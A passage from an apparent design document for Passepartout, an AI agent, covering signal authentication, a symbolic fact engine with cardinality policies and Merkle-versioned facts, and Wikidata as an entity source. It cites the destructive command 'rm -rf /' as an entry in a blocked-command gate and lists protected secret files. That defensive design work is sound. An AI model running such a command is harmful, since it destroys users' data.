|
||||
|
||||
Passepartout's Perceive-Reason-Act pipeline currently accepts signals from any source that speaks the framed TCP protocol. The =:source= field in the signal plist is metadata — it /claims/ origin, it does not /prove/ it. A compromised process on the machine, a skill with elevated privileges, or a network attacker who reaches the daemon port can inject signals with =:source :human-input= and the Dispatcher will treat them as authorized.
|
||||
|
||||
This is not a hypothetical threat. Passepartout will eventually process signals from automated feeds (RSS, API polls), sensors (vision, microphone, file watchers), and scheduled jobs (cron, heartbeat). A single compromised sensor that can inject signals claiming to be human breaks all three Laws simultaneously: it can self-terminate, override human intent, and cause harm.
|
||||
|
||||
The solution: a single authentication gate (vector 0, at priority 700 — before all other gates and before any type-level checking) that runs up to four configurable layers:
|
||||
|
||||
| Layer | Question | Mechanism | Result type | Depends on |
|
||||
|-------+------------------------------------------------+--------------------+-------------------------+----------------------------------|
|
||||
| 1 | Is the signal cryptographically signed by a known key? | Key pairs + SHA-256 | Binary (pass/reject) | Vault + Ironclad (exist) |
|
||||
| 2 | Do sensory attributes match the claimed identity? | Vision/audio processing | Plist of match results | Vision and audio skills (TBD) |
|
||||
| 3 | Does deterministic reasoning rule out this identity? | Screamer + fact store | Binary (pass/reject) | Phase 2 (Screamer + fact store) |
|
||||
| 4 | Do probabilistic patterns support this identity? | Embeddings + LLM | Confidence score (0-1) | Embedding infrastructure (exists)|
|
||||
|
||||
Signals that fail any binary layer (crypto, deterministic) are rejected with provenance. Signals that pass binary layers but carry low probabilistic confidence operate at reduced authorization — read-only by default, write actions require HITL. The four layers compose, they are not independent gates. They are one gate with configurable depth.
|
||||
|
||||
The authorization matrix is per-key, per-action-class. Default policy for every non-human key: =(:read-only :propose)=. The human's key signs new source keys into existence. The human's key signs revocation of compromised keys. Both operations produce facts in the symbolic index — auditable, revocable, survivable across restarts.
|
||||
|
||||
The signal provenance chain is Merkle-linked: each signal in a multi-step chain hashes its predecessor's signature as part of its own payload. After an incident: "The deletion happened because sensor #3 classified the directory as stale. Classification was signed by key #47 (vision-skill). Sensor data was signed by key #12 (camera-feed). Sensory auth noted liveness failure. Deterministic auth noted impossible transit. Key #12 was later revoked." Every intermediate step is auditable. Every signer is identifiable. Every authentication result is in the chain.
|
||||
|
||||
The human can configure which layers are active per signal class: =AUTH_LAYERS_DEFAULT=crypto,deterministic,probabilistic=, =AUTH_LAYERS_SENSOR=crypto,sensory,deterministic=, =AUTH_LAYERS_CRON=crypto=.
|
||||
|
||||
For full implementation detail, see the Phase 0b spec in =ROADMAP.org= v0.12.0.
|
||||
|
||||
* Part IV: The Symbolic Engine
|
||||
|
||||
** The Five Architecture Options
|
||||
:PROPERTIES:
|
||||
:ID: design-five-options
|
||||
:CREATED: [2026-05-08 Fri]
|
||||
:END:
|
||||
|
||||
The symbolic engine must relate to the human memex. The relationship is not obvious because knowledge lives in two incompatible forms: natural language prose (what the human reads and writes) and formal facts (what the symbolic engine reasons about). The translation between them is lossy by nature. The architecture is defined by how it handles that lossiness.
|
||||
|
||||
*** Option 1: The Auto-Formalizer
|
||||
|
||||
A separate knowledge graph stores symbolic facts. The LLM populates it by extracting triples from unstructured data. The KG becomes co-authoritative with the human prose.
|
||||
|
||||
This is the simplest to implement but inherits the dual-representation problem in its most acute form. The KG and the prose can disagree, and the architecture provides no mechanism for resolving disagreements. It also stores knowledge twice — once in the user's Org files, once in the KG — with no guarantee that they stay synchronized.
|
||||
|
||||
*** Option 2: Two Intentionally Separate Memexes
|
||||
|
||||
The human memex contains prose: thoughts, diaries, decisions, documentation. The symbolic memex contains formal facts: constraints, rules, relationships, deductions. The archivist bridges between them but does not try to keep them synchronized. They are allowed to diverge because they serve different purposes.
|
||||
|
||||
This is philosophically honest — it admits that no lossless translation between natural language and formal logic is possible. But it forces the user to reason about two separate knowledge stores.
|
||||
|
||||
*** Option 3: Tangled Fact Blocks in Org Files
|
||||
|
||||
A new block type — =#+begin_src knowledge= — would contain symbolic facts in a formal language. The tangle mechanism would load these facts into the symbolic engine's in-memory store, just as it loads Lisp code into the SBCL image.
|
||||
|
||||
This is aesthetically appealing because it unifies the format. One toolchain, one version control system, one Merkle tree. But the block language itself IS the knowledge representation language, and that language is the ontology we have not yet defined.
|
||||
|
||||
*** Option 4: One Memex, Two Indices
|
||||
|
||||
The prose remains in human language in Org files. The prose is always the ground truth. Two indices sit on top of the prose as derived views:
|
||||
|
||||
- The *neural index* uses vector embeddings to enable semantic search. The LLM navigates the prose through embedding space, retrieving relevant headings.
|
||||
- The *symbolic index* stores formal assertions about what the prose says — predicates, relations, constraints — each grounded to a specific heading or block in the Org file.
|
||||
|
||||
Each index serves its own side of the machine. They do not need to understand each other's representations. They only need to agree on which heading or block they are referring to. Because the prose is always the ground truth, the symbolic index can be thrown away and rebuilt from scratch if it becomes corrupted or stale. No information is lost — only the extracted assertions.
|
||||
|
||||
*** Option 5: Ephemeral Symbolic Facts
|
||||
|
||||
No persistence, no serialization format, no knowledge graph stored on disk. VivaceGraph exists in memory during the session. Screamer derives facts from the prose as needed. When the session ends, the facts are discarded and re-derived on the next start.
|
||||
|
||||
This punts the ontological design problem entirely. You never have to decide on a serialization format because you never serialize. The cost is compute (re-derivation on every restart) and the inability to accumulate facts across sessions. But it is the correct first step — a way to learn what kinds of facts are actually useful before committing to a storage format.
|
||||
|
||||
** The Chosen Path: Option 4, Starting with Option 5
|
||||
:PROPERTIES:
|
||||
:ID: design-chosen-path
|
||||
:CREATED: [2026-05-08 Fri]
|
||||
:END:
|
||||
|
||||
The one-memex-two-indices architecture (Option 4) is the correct long-term architecture. The prose is the ground truth. The symbolic index is a derived view that can be rebuilt. The neural index handles what the symbolic index cannot — semantic search, fuzzy matching, associative leaps.
|
||||
|
||||
But committing to a persistence format before knowing what facts are useful is premature. The practical path starts with Option 5 (ephemeral facts) as the Phase 1-4 implementation, then graduates to Option 4 with VivaceGraph persistence in Phase 5 when the fact language has been battle-tested through months of gate outcomes, Screamer deductions, and LLM proposals.
|
||||
|
||||
*** Why the dual index is permanent, not transitional
|
||||
|
||||
In the coding domain, there is an aspiration that the symbolic index could eventually capture enough of the prose's propositional content to become a complete representation — the "flip" where the symbolic engine reverses the flow. But for the broader memex (literature, poetry, personal reflection, daily logs), completeness is neither possible nor desirable. You cannot formalize what makes a poem beautiful. You cannot extract a triple that captures the emotional weight of a diary entry. The neural index will always be the gateway to the full richness of the prose. The symbolic index handles what can be mechanically verified: citations, entities, temporal order, contradictions, provenance. The division of labor between the two indices is permanent because the domains they serve are fundamentally different kinds of knowledge.
|
||||
|
||||
** Ephemeral First, Persistent Later
|
||||
:PROPERTIES:
|
||||
:ID: design-ephemeral-first
|
||||
:CREATED: [2026-05-10 Sun]
|
||||
:END:
|
||||
|
||||
The architecture note's Option 5 (ephemeral facts, no disk persistence) is the correct first implementation. Three reasons:
|
||||
|
||||
1. *The fact language is unproven.* Triples with provenance and grounding is a hypothesis. It may be too simple for some domains, too complex for others. Committing to a serialization format before knowing what's useful is premature.
|
||||
|
||||
2. *The ontology is emergent.* Categories are created on first use. What proves useful stays; what doesn't fades. A persistent format would need a migration story every time the category structure changes. Ephemeral avoids this entirely — the facts are re-derived on each session start using the current (evolved) ontology.
|
||||
|
||||
3. *Rebuildability is the safety net.* Because all facts have a =:grounding= to an Org heading, and gate-outcome facts are regenerated from the gate stack on every load, the entire symbolic index can be thrown away and rebuilt from scratch. The cost is compute, not data. This is the practical realization of "the prose is always the ground truth."
|
||||
|
||||
The transition to persistence (Phase 5: VivaceGraph) happens when two conditions are met: the fact language has stabilized through use, and the accumulated deductions across sessions provide value that justifies the serialization cost.
|
||||
|
||||
** The Gate-to-Fact Bootstrap — Extracting the First Ontology from Code
|
||||
:PROPERTIES:
|
||||
:ID: design-gate-bootstrap
|
||||
:CREATED: [2026-05-08 Fri]
|
||||
:END:
|
||||
|
||||
The Dispatcher gate stack already encodes an implicit ontology. Every gate vector asserts the existence of a category of things:
|
||||
|
||||
- Gate vector 2 asserts there exists a class of files called /secrets/.
|
||||
- Gate vector 7 asserts there exists a class of commands called /destructive/.
|
||||
- Gate vector 8 asserts there exists a class of domains called /trusted/.
|
||||
- The self-build boundary asserts there exists a class of files called /core-harness/ and a class called /skills/.
|
||||
|
||||
These claims are currently expressed as code — Lisp functions that pattern-match against file paths, shell commands, and URLs. They are not facts the symbolic engine can query, derive from, or check for consistency. But they can be made explicit.
|
||||
|
||||
The bootstrap makes every gate a set of initial symbolic facts:
|
||||
=(:file ".env" :member-of-class :secret-files :source gate-vector-2)=,
|
||||
=(:command "rm -rf /" :classified-as :catastrophic :source gate-vector-7)=,
|
||||
=(:domain "api.telegram.org" :classified-as :trusted :source gate-vector-8)=.
|
||||
|
||||
This produces 50-70 entity classes directly from the existing gate stack, without any new infrastructure:
|
||||
|
||||
| Source | Count | Example categories |
|
||||
|----------------------------------------+-------+----------------------------------------------------|
|
||||
| ~*dispatcher-protected-paths*~ | 11 | :secret-config-file, :ssh-key-file, :gpg-key-file |
|
||||
| ~*dispatcher-shell-blocked*~ | 8 | :catastrophic-command, :injection-pattern |
|
||||
| ~*dispatcher-network-whitelist*~ | 2 | :trusted-domain, :untrusted-domain |
|
||||
| Self-build boundary | 2 | :core-harness-file, :skill-file |
|
||||
| Privacy tags | 3 | :private-content, :financial-content |
|
||||
| Permission table | 3 | :read-only-tool, :write-tool, :eval-tool |
|
||||
| Cognitive tools | 6 | :code-search-tool, :file-io-tool, :shell-tool |
|
||||
| Relations (all gates) | ~15 | :member-of-class, :classified-as, :depends-on |
|
||||
| Qualities | ~8 | :catastrophic, :dangerous, :moderate, :harmless |
|
||||
| Provenance sources | 4 | :gate-outcome, :human-authored, :deduced, :llm-proposed |
|
||||
|
||||
This is the seed. It gives Screamer a domain to reason about immediately, without any LLM involvement. It proves the pattern — code becomes facts, facts enable reasoning — at the cost of approximately 30 lines of Lisp.
|
||||
|
||||
** The LLM as Proposer — Verified Extraction
|
||||
:PROPERTIES:
|
||||
:ID: design-llm-proposer
|
||||
:CREATED: [2026-05-08 Fri]
|
||||
:END:
|
||||
|
||||
The LLM cannot be trusted to populate the symbolic index directly. Its outputs are sampled, not proven. A probabilistic extraction feeding a deterministic engine defeats the purpose of being deterministic.
|
||||
|
||||
But the LLM is still useful. It can surface facts that are obvious to a human reader of prose but would take the symbolic engine many deduction steps to reach independently. The solution is to demote the LLM from /extractor/ to /proposer/:
|
||||
|
||||
1. The archivist reads a prose heading.
|
||||
2. The LLM proposes candidate triples.
|
||||
3. Screamer checks each triple for consistency against the existing fact store.
|
||||
4. Only consistent triples are admitted to the symbolic index, flagged with =:provenance :llm-proposed= and grounded to the source heading.
|
||||
|
||||
The LLM might hallucinate facts that don't correspond to the prose. It might extract facts that contradict existing knowledge. It might produce syntactically malformed triples. None of these failures contaminate the symbolic index because proposals are not admitted automatically. The admission gate (Screamer) is deterministic.
|
||||
|
||||
This is the core architecture pattern. Everything else — the entity classes, the deduction engine, the persistence layer — follows from this single design decision: *the LLM proposes; the symbolic engine decides whether to accept.*
|
||||
|
||||
** Cardinality Policies — Singular, Dual, and Plural Facts
|
||||
:PROPERTIES:
|
||||
:ID: design-cardinality
|
||||
:CREATED: [2026-05-08 Fri]
|
||||
:END:
|
||||
|
||||
Classical logic requires consistency. A contradiction implies everything (=ex contradictione quodlibet=). Screamer, as a constraint solver, also requires consistency — a contradictory constraint set has no solutions. But the symbolic engine operates across domains where the meaning of contradiction is fundamentally different. The correct question is not "is this consistent?" but "what cardinality of truth does this domain support?"
|
||||
|
||||
Time is not a policy. It is a universal dimension that applies equally to every fact, regardless of cardinality. All facts carry =:timestamp= and =:parent-id= fields. Every fact has a version history. Every fact lives in a Merkle chain that captures how it changed. The cardinality policy only governs what happens at a given logical moment when two values coexist for the same =entity= and =relation=.
|
||||
|
||||
*** Policy :singular — One Active Value, One Version Chain
|
||||
|
||||
The active set contains exactly one value for =(:entity :relation)= at a time. When a new value asserts for the same pair, the old value is not rejected. It is superseded — moved into the version history, linked to the new leaf by =:parent-id=, and retained permanently. The active value is the leaf of the Merkle chain.
|
||||
|
||||
"I used to think =rm -rf /= was safe. Now I know it is catastrophic." Both facts exist. Both are true — the first at =2024-06-01=, the second at =2025-03-15=. The chain captures the evolution. The =:singular= policy means there is one truth /now/, not that there was only ever one truth.
|
||||
|
||||
Use for: security classifications, file system state, gate rules, code correctness, deterministic safety constraints — domains that converge on one answer, evolving over time.
|
||||
|
||||
*** Policy :dual — Exactly Two Values, in Explicit Tension
|
||||
|
||||
The active set contains exactly two values for =(:entity :relation)=. Both are simultaneously true. Both carry independent version histories. A third value is rejected — the domain is binary by nature.
|
||||
|
||||
Some contradictions are productive precisely /because/ they are binary. Thesis and antithesis. Love and resentment. Wave and particle. A poem's two incompatible readings. The symbolic index holds both, cross-referenced as complementary rather than conflicting. The user is not asked to resolve the tension. The tension is the fact.
|
||||
|
||||
The system can reason about cardinality transitions: a =:dual= fact that has one interpretation superseded should collapse to =:singular=. A =:dual= that has a third interpretation asserted should prompt the user: "Promote to =:plural= or demote one interpretation?"
|
||||
|
||||
Use for: productive binary tensions, complementary opposites, dialectical pairs, any domain where two answers are both true and their tension is meaningful.
|
||||
|
||||
*** Policy :plural — N Active Values, Open Set
|
||||
|
||||
The active set contains any number of values for =(:entity :relation)=. Each value has independent provenance and its own version history. Queries return all active values with provenance display. Contradictions are flagged as cross-references between values — information, not error.
|
||||
|
||||
A =:plural= fact where all but one value are superseded should collapse to =:singular=. A =:plural= fact where the set reduces to two active values — and the remaining two are complementary — should collapse to =:dual=.
|
||||
|
||||
Use for: literary interpretation, scientific hypotheses, personal beliefs held at different times (when tension is multi-faceted rather than binary), multi-source factual disagreement, open-ended exploration.
|
||||
|
||||
*** Policy Assignment
|
||||
|
||||
The policy is assigned when a category is defined. New categories default to =:plural= (safe — never loses information). Core security categories are explicitly =:singular=. The gate stack's bootstrapped facts are =:singular= because they describe the actual filesystem, which is physically singular. Categories for dialectical or complementary domains are explicitly =:dual=.
|
||||
|
||||
The Screamer admission gate applies the cardinality policy at the active set:
|
||||
- =:singular= + same value, later timestamp → supersede old, chain new as leaf.
|
||||
- =:singular= + different value, same timestamp → reject (contradiction). Human resolves.
|
||||
- =:singular= + different value, later timestamp → supersede old, chain new as leaf. History preserved.
|
||||
- =:dual= + first value → admit. + second value → admit, cross-reference as complementary. + third value → prompt.
|
||||
- =:plural= + any value → admit. Active count transitions trigger collapse checks.
|
||||
|
||||
*** Why This Matters for the Broader Memex
|
||||
|
||||
In the coding domain, contradiction is rare, resolvable, and usually temporal (a rule changed). In the broader memex, contradiction is the product, not the error. Your poetry analysis contradicts your last diary entry. Your reading of /Pale Fire/ changed between 2023 and 2025. Wikidata says Mount Everest is 8848m; DBpedia says 8849m. You love this person AND you resent them.
|
||||
|
||||
The symbolic engine's job is not to decide which is right. It is to surface the tension with provenance — "these three sources disagree; here is the chain for each" for plural facts, or "you hold these two positions in tension" for dual facts, or "you believed X until Tuesday, then Y" for singular facts that evolved. The cardinality policy names the /structure/ of the tension. The Merkle chain provides the /history/ of each position.
|
||||
|
||||
** How Categories Grow — The Organic Ontology
|
||||
:PROPERTIES:
|
||||
:ID: design-organic-ontology
|
||||
:CREATED: [2026-05-08 Fri]
|
||||
:END:
|
||||
|
||||
Whitehead's /Principia Mathematica/ took over 300 pages to define the logical foundations before it could prove that one plus one equals two. Every category introduced carried a burden of justification. Every inference rule had to be demonstrated sound. This is the classical approach to ontology: define everything upfront, exhaustively, formally.
|
||||
|
||||
Passepartout cannot afford this and does not need it. Its domain is bounded (software engineering, personal knowledge, literary engagement, daily life) and its ontology grows from the system's own operation:
|
||||
|
||||
1. *The gate stack seeds the ontology.* Every gate vector is an implicit claim about a category of things. The bootstrap makes these claims explicit. The seed is 50-70 entity classes with no human authoring required — mechanically extracted from existing code.
|
||||
|
||||
2. *New gate vectors add categories directly.* As the Dispatcher grows (new shell patterns, new path protections, new tool classifications), the ontology grows with it. Every new pattern becomes a fact on skill load.
|
||||
|
||||
3. *Screamer generalizes from gate outcomes.* After 37 shell commands are blocked as destructive, Screamer extracts structural commonalities: "commands writing to block devices," "commands recursively deleting outside the workspace." These become new subcategories that didn't exist in the original gate patterns. The ontology deepens through observation.
|
||||
|
||||
4. *The archivist proposes from prose.* The archivist reads a diary entry about a book: "Nabokov's lectures on Kafka." The LLM proposes =(:entity :nabokov :relation :lectures-on :value :kafka)=. Screamer checks consistency. Admitted. The categories =:author=, =:lectures-on=, and =:subject= didn't exist before — they are created on first use. This is the primary growth mechanism for the broader memex.
|
||||
|
||||
5. *The human declares explicitly.* The human writes a declarative fact directly into the symbolic index. No extraction step. No LLM involvement. The fact is admitted with =:provenance :human-authored= — the highest trust level.
|
||||
|
||||
6. *Temporal patterns crystallize into categories.* Every Sunday the memex gets a retrospective heading. Every Monday a planning heading. The time-awareness system observes the periodicity and proposes =:weekly-retrospective= and =:weekly-planning= as fact types. Screamer verifies.
|
||||
|
||||
7. *Cross-domain overlap produces parent categories.* Screamer notices that =:secret-files= (from the gate stack) and =:private-content= (from privacy tags) share members — =.env= is both a secret file and private content. It proposes =:sensitive-material= as a parent with both as children. Taxonomy building happens automatically through overlap detection.
|
||||
|
||||
*** Growth is self-limiting by design
|
||||
|
||||
Not every conceivable category is added. The system prunes through use:
|
||||
|
||||
- New categories are admitted only through Screamer's consistency check. A category that contradicts an existing classification is rejected.
|
||||
- A category that never gets queried costs nothing (a hash table entry) but produces no value. It fades from use naturally.
|
||||
- Overly fine-grained categories are rejected because they are redundant with the wildcard pattern that already covers them.
|
||||
- Overly broad categories that subsume meaningful distinctions produce contradictions when Screamer tries to apply existing rules. Rejected.
|
||||
|
||||
The system converges on a useful granularity through use, not through upfront design. The gate stack provides the seed. Gate outcomes, prose extraction, deduction, and human authoring grow the shoots. Screamer prunes contradictions. The ontology is a garden, not a building.
|
||||
|
||||
** Ontology Versioning — How Worldviews Change Without Losing Perspective
|
||||
:PROPERTIES:
|
||||
:ID: design-ontology-versioning
|
||||
:CREATED: [2026-05-10 Sun]
|
||||
:END:
|
||||
|
||||
Ontology refactoring is not a schema migration. It is a worldview change. When you split =:secret-file= into =:crypto-secret= and =:plaintext-secret=, you are not renaming columns. You are reclassifying what a file *is* — and every Screamer deduction that crossed the old category boundary now means something different under the new distinction.
|
||||
|
||||
The system preserves all worldviews. It does not overwrite the past with the present.
|
||||
|
||||
The category hierarchy is itself a Merkle tree. Every entity class definition carries a hash of its superclasses, its cardinality policy, its associated relations, and its description. The aggregate hash of all active class definitions is the =:ontology-version= — a Merkle root of the current worldview.
|
||||
|
||||
Every fact — every triple, every deduction, every gate outcome — stores its =:ontology-version= at the time of assertion. This is a single field, 64 hex characters. The cost is negligible. The implication is profound.
|
||||
|
||||
When categories change, the system does not run a batch UPDATE. It re-verifies:
|
||||
|
||||
1. A new category hierarchy produces a new =:ontology-version= hash.
|
||||
2. Facts carrying the old hash are flagged for re-verification.
|
||||
3. On heartbeat or manual trigger, Screamer re-evaluates each flagged fact against the /new/ category definitions. The old justification chain is preserved alongside the new outcome.
|
||||
4. Status: =:survived= (still valid), =:incoherent= (premises don't translate, flagged for human review), =:reclassified= (valid but under different classification).
|
||||
|
||||
The =fact-query= function accepts an optional =:ontology-version= parameter. Queries default to the current worldview (=:active=). Specifying a version returns facts as they were under that worldview. The system can answer questions that no other knowledge tool can: "What did I believe about secrets before I refined my security model?" "How has my reading of /Pale Fire/ evolved across three frameworks?" "Which deductions survived my last ontology refactoring?"
|
||||
|
||||
This is not querying a fact. It is querying the history of your own thinking — the fact that you changed your mind, the date you did, the reasoning that held and the reasoning that didn't.
|
||||
|
||||
** The "Awakening" — Sufficiency Criterion
|
||||
:PROPERTIES:
|
||||
:ID: design-awakening
|
||||
:CREATED: [2026-05-08 Fri]
|
||||
:END:
|
||||
|
||||
The symbolic index begins its life as a lossy construct. The initial extraction from prose — LLM proposals verified by Screamer — is built from an uncertain foundation. Some facts are correct. Some are missing. Some are wrong.
|
||||
|
||||
But the symbolic engine accumulates non-lossy facts through three independent mechanisms:
|
||||
|
||||
1. *Gate outcomes* — every gate rejection is a fact. No LLM involved. Accumulate at the rate of user interactions.
|
||||
2. *Screamer deductions* — new facts derived from existing facts. No LLM involved. Accumulate whenever the fact store crosses a density threshold.
|
||||
3. *Human authoring* — the human explicitly declares facts. No LLM involved.
|
||||
|
||||
At some point, the non-lossy facts constitute a sufficient foundation that the symbolic engine can reverse the flow: instead of the LLM extracting facts from prose, the symbolic engine reads prose through its own lens — its now-substantial ontology of categories, rules, and constraints — and asserts facts in its own language. The extraction mechanism ceases to be probabilistic and becomes deterministic.
|
||||
|
||||
The sufficiency criterion makes this operational: =(/ (count-provenance :gate-outcome :human-authored :deduced) total-facts)=. When this ratio exceeds a configurable threshold (=SUFFICIENCY_THRESHOLD=, default 0.7), the system considers its foundation sufficient. The archivist switches from "LLM proposes, Screamer verifies" to "Screamer queries existing facts, applies to the new prose, and deduces new facts directly."
|
||||
|
||||
The flip is visible to the user: "Symbolic index: 847 facts (73% non-lossy, 12% LLM-proposed, 15% Wikidata). Sufficient foundation: YES."
|
||||
|
||||
The flip does not mean "complete." In the broader memex, completeness is neither possible nor desirable. The awakening means "deterministic enough to be trustworthy," not "comprehensive enough to be self-sufficient." The neural index remains the gateway to the full richness of prose. The symbolic index handles what can be mechanically verified. The boundary is permanent.
|
||||
|
||||
** Merkle DAG for Version History
|
||||
:PROPERTIES:
|
||||
:ID: design-merkle-dag
|
||||
:CREATED: [2026-05-10 Sun]
|
||||
:END:
|
||||
|
||||
Every fact is versioned. Every =(:entity :relation)= pair forms its own independent chain in a Merkle DAG. This is not new infrastructure — it is a new occupant of Passepartout's existing Merkle-tree memory system (v0.2.0).
|
||||
|
||||
When a fact supersedes its predecessor, the new fact hashes over: =SHA-256(value || provenance || timestamp || parent-hash || grounding)=. The parent-hash pointer forms the chain. Tampering with any version changes its hash, breaking all downstream references. The history is tamper-proof by construction.
|
||||
|
||||
Facts about =(.env :member-of-class)= form one chain. Facts about =(:nabokov :wrote)= form another. They evolve independently. They share no ancestry. This is a DAG, not a single list — inserting a fact is O(1) per chain. Changing a fact about =.env= does not require rehashing the literary index.
|
||||
|
||||
=:dual= and =:plural= facts cross-reference each other via edges (=:complements=, =:contradicts=) but these are semantic relationships, not parent chains. Each value has its own ancestor chain. The cross-reference edges form a web; the parent chains form a spine.
|
||||
|
||||
Passepartout already snapshots the Merkle root over all memory objects. Adding the fact store to the snapshot is a registration, not a new mechanism. Rolling back the snapshot restores the entire fact state — all chains, all cross-references, all cardinalities — to that point in time.
|
||||
|
||||
** Abstract Fact Store Interface — Modular by Design
|
||||
:PROPERTIES:
|
||||
:ID: design-fact-interface
|
||||
:CREATED: [2026-05-10 Sun]
|
||||
:END:
|
||||
|
||||
The fact store is accessed through an abstract API. The Merkle DAG (or any future backing store) is an implementation behind this interface, not a dependency that code throughout the system calls directly.
|
||||
|
||||
#+begin_example
|
||||
fact-assert :: fact → store → (:admitted | :rejected | :flagged)
|
||||
fact-query :: (entity &key relation policy) → active-value-or-values
|
||||
fact-history :: (entity relation) → ordered chain of versioned facts
|
||||
fact-snapshot :: () → root-hash
|
||||
fact-rollback :: root-hash → store
|
||||
#+end_example
|
||||
|
||||
Implementations behind the interface:
|
||||
- Phase 1-4: ephemeral hash table with =:timestamp= and =:parent-id= pointers. No cryptographic hashing. No persistence.
|
||||
- Phase 5: VivaceGraph + Merkle =memory-object= wrapper. Content-addressed, persistent, tamper-proof.
|
||||
|
||||
Future implementations that satisfy the same interface — an append-only write-ahead log, an immutable B-tree, a content-addressed triple store — can replace the backing store without changing any consumer. The archivist, Screamer, ACL2, and the planner call =fact-assert= and =fact-query=, not Merkle struct accessors or VivaceGraph traversal syntax.
|
||||
|
||||
This is not speculative modularity. The two-implementation migration (Phase 1-4 hash table → Phase 5 VivaceGraph + Merkle) is in the roadmap. If the interface leaks implementation details, the migration breaks. The interface must be designed, tested against both backends, and committed before Phase 1 ships.
|
||||
|
||||
* Part V: Knowledge Sources
|
||||
|
||||
** Semantic Wikipedia as Entity Backbone
|
||||
:PROPERTIES:
|
||||
:ID: design-wikipedia
|
||||
:CREATED: [2026-05-08 Fri]
|
||||
:END:
|
||||
|
||||
The gate stack provides 50-70 entity classes — adequate for a coding agent where the domain is bounded to files, commands, and code symbols. For a general-knowledge memex, 50-70 is starvation. Your memex mentions Nabokov, /Pale Fire/, Kinbote, Zembla, paranoid reading, unreliable narrators, postmodernism, butterfly migration, chess problems, and the Russian exile experience. The gate stack knows none of these. Organic growth through prose extraction would take years just to cover the entities in one person's engagement with a single novel.
|
||||
|
||||
Wikidata has already done this work: approximately 2 million entity classes, over 100 million entities, a decade of human curation. By loading the neighborhood of your memex into the symbolic index (entities referenced in your prose, plus their N-hop property net from Wikidata), the entity recognition problem vanishes. The archivist doesn't need to discover Nabokov from your diary. It needs to connect your heading to the existing Wikidata entity. That is a simpler task — reference resolution, not knowledge extraction.
|
||||
|
||||
The LLM's role shrinks to three thin boundaries:
|
||||
|
||||
1. *Input translation* — natural language question to structured query. "What do I think about monorepos?" → =(fact-query :entity :monorepo :relation :opinion :source :memex)=. Formulaic, ~100 tokens, any model sufficient.
|
||||
|
||||
2. *Prose to candidate triple* — for personal memex entries that have no Wikidata counterpart: your opinions, your day's events, your project plans. Proposals verified by Screamer before admission. This is the only extraction path that still requires an LLM, and its scope is limited to what Wikidata cannot provide.
|
||||
|
||||
3. *Result to prose* — structured answer to readable sentence. "Your 2023 diary says 8848m. Wikidata (last edited Feb 2024) says 8849m. They disagree on height." The reasoning is done; the LLM wraps the plist in grammar. ~100 tokens, any model sufficient, purely cosmetic.
|
||||
|
||||
Everything else — the gate stack, the fact store, the constraint solver, the type hierarchy, the provenance tracking, the contradiction surfacing, the cross-domain comparison — is pure deterministic Lisp with zero LLM tokens.
|
||||
|
||||
The decisive simplification: without Wikidata, the archivist must /discover/ entities from prose. With Wikidata loaded, the entity graph is pre-structured. The archivist's job changes from "discover that Nabokov wrote /Pale Fire/ and lectured on Kafka" to "verify that the Nabokov referenced in heading #47 is Wikidata item Q36591."
|
||||
|
||||
Wikidata facts are admitted with =:provenance :wikidata= and cardinality policy =:plural=. They do not override your memex's facts. They sit alongside them. Disagreements are surfaced, not resolved.
|
||||
|
||||
** Empirical Validation — MOMo and Modular Ontology Engineering
|
||||
:PROPERTIES:
|
||||
:ID: design-momo
|
||||
:CREATED: [2026-05-08 Fri]
|
||||
:END:
|
||||
|
||||
Shimizu and Hitzler (2025, /Journal of Web Semantics/) argue that LLMs can significantly accelerate knowledge graph and ontology engineering — modeling, extension, population, alignment, and entity disambiguation — but /only/ if ontologies are modular.
|
||||
|
||||
*** The central finding: modularity is the key variable
|
||||
|
||||
In a complex ontology alignment task, an LLM without module information detected correct mappings for 5 of 109 alignment rules — effectively useless. When the same LLM was given the module structure of the target ontology (20 named conceptual modules), it detected correct mappings for 104 of 109 rules — 95% accuracy. The variable was modularity.
|
||||
|
||||
For ontology population (extracting triples from text), their best results came from prompts that included a schematic representation of a /single module/ plus one extraction example. Against ground truth, this achieved approximately 90% extraction accuracy. Without module-scoped prompting, quality degraded substantially.
|
||||
|
||||
The mechanism: conceptual modules scope the LLM's attention to something human-sized. The paper's central claim — "by somehow limiting the scope, we achieve a more human-like approach — and one more capable of being expressed succinctly in language" — is an independent discovery of the same principle underlying Passepartout's domain-scoped Screamer checks and per-domain cardinality policies.
|
||||
|
||||
*** What Passepartout should adopt
|
||||
|
||||
*The modular prompt pattern.* The archivist should use module-scoped prompts: a schematic representation of a domain module plus a single extraction example. Instead of a generic "extract triples" prompt, the prompt should reference the relevant module(s) and include an example triple for each relation in that module. The module provides /context/; the example provides /format/. Both improve LLM extraction quality without increasing Screamer's verification burden.
|
||||
|
||||
*MOMo modules as ontology scaffold.* The 50-70 gate-bootstrapped entity classes are starvation for the broader memex. MOMo's micropattern library provides a ready-made scaffold — hundreds of commonsense patterns for temporal relations, spatial relations, agent-action, organizational structure, provenance, and event participation. Loading these as initial modules — with =:policy :plural= and =:provenance :external-ontology= — would give the symbolic index a structured vocabulary for domains where the gate stack has nothing to offer. Organic growth then /extends and refines/ these modules rather than inventing them from scratch.
|
||||
|
||||
*Cross-source validation.* The archivist can extract facts from the user's prose, extract facts from Wikidata for the same entities, and present disagreements with provenance. This is the =:plural= cardinality policy applied at extraction time.
|
||||
|
||||
The paper validates three design decisions already made: (1) modularity is non-negotiable — the difference between 5% and 95% accuracy; (2) the extraction pipeline is feasible — 90% population accuracy with module-scoped prompts means the archivist /can/ extract useful facts, and the remaining 10% hallucination rate is what Screamer catches; (3) knowledge graphs are positioned as anti-hallucination infrastructure — the Passepartout thesis stated in the academic literature.
|
||||
|
||||
References:
|
||||
- Shimizu, C., & Hitzler, P. (2025). Accelerating knowledge graph and ontology engineering with large language models. /Journal of Web Semantics, 85/, 100862.
|
||||
- Shimizu, C., Hammar, K., & Hitzler, P. (2023). Modular ontology modeling. /Semantic Web, 14/(3), 459–489.
|
||||
- Norouzi, S.S. et al. (2024). Ontology Population using LLMs. arXiv:2411.01612.
|
||||
|
||||
* Part VI: Implementation Properties
|
||||
|
||||
** Performance — Why Ontology Growth Doesn't Make the System Slower
|
||||
:PROPERTIES:
|
||||
:ID: design-performance
|
||||
:CREATED: [2026-05-10 Sun]
|
||||
:END:
|
||||
|
||||
Passepartout's performance thesis is: minimize LLM calls, minimize context tokens, keep everything else local and fast. Knowledge base size is irrelevant to those metrics. This is not an aspiration. It is a structural property.
|
||||
|
||||
The system has two cost domains with fundamentally different scaling:
|
||||
|
||||
| Resource | Cost driver | Scales with |
|
||||
|---------------+------------------------------------------+------------------------------------------|
|
||||
